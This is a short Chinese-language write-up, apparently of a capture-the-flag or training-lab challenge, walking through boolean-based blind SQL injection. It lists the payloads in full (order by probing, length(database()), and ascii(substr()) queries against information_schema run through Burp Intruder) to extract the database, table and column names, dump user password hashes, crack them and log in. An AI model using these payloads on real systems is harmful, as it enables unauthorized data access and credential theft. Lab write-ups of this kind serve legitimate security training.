由and语句可看到两句都为真时页面正常,一真一假时,页面报错
用order by语句查字段数
发现4的时候,页面正常,当5的时候,页面报错
所以字段数为4
用union select语句进行联合查询时,发现1,2,3,4语句并没有拼接上去
在1前面加了个-号,仍然没有信息回显,又想到前面SQL语句执行成功和错误会返回两个不同的页面,所以考虑布尔盲注。
用and length(database())>=num语句来判断数据库长度,发现数据库的长度为10
运用bp的intruder来自动搜寻
利用1 and ascii(substr(database(),1,1))=$0$语句进行搜寻
对照ASCII表可以发现第一个字母为s
接下来用同样的方法进行遍历,可得数据库的名字为stormgroup
用and ascii(substr(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),1,1))=$0$进行遍历得
第一个字母为m
以此类推,第二个字母为e,第三个字母为m,第四个字母为b,第五个字母为e,第六个字母为r
当查询到7时
说明该表名的长度就为6,即为member
把limit 0,1改为limit 1,1重复上述的操作,可以得到另一份表notice
把limit 1,1改为limit 2,1会发现页面报错,说明只有两份表
感觉member这份表更像是我们所需要的表,所以先查这个表
用and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))=$0$来遍历
可以得知第一个列名为name
继续更改limit,可以获得其他列名,分别为password,status
用and ascii(substr((select name from member limit 0,1),1,1))=$0$来遍历得具体数据
第一个name为mozhe,第二个name也为mozhe
用同样的方法查找密码
第一个密码为3114b433dece9180717f2b7de56b28a3
第二个密码为8a880e5daa8cafec7f2fc8412b994133
用MD5解密后,登录得flag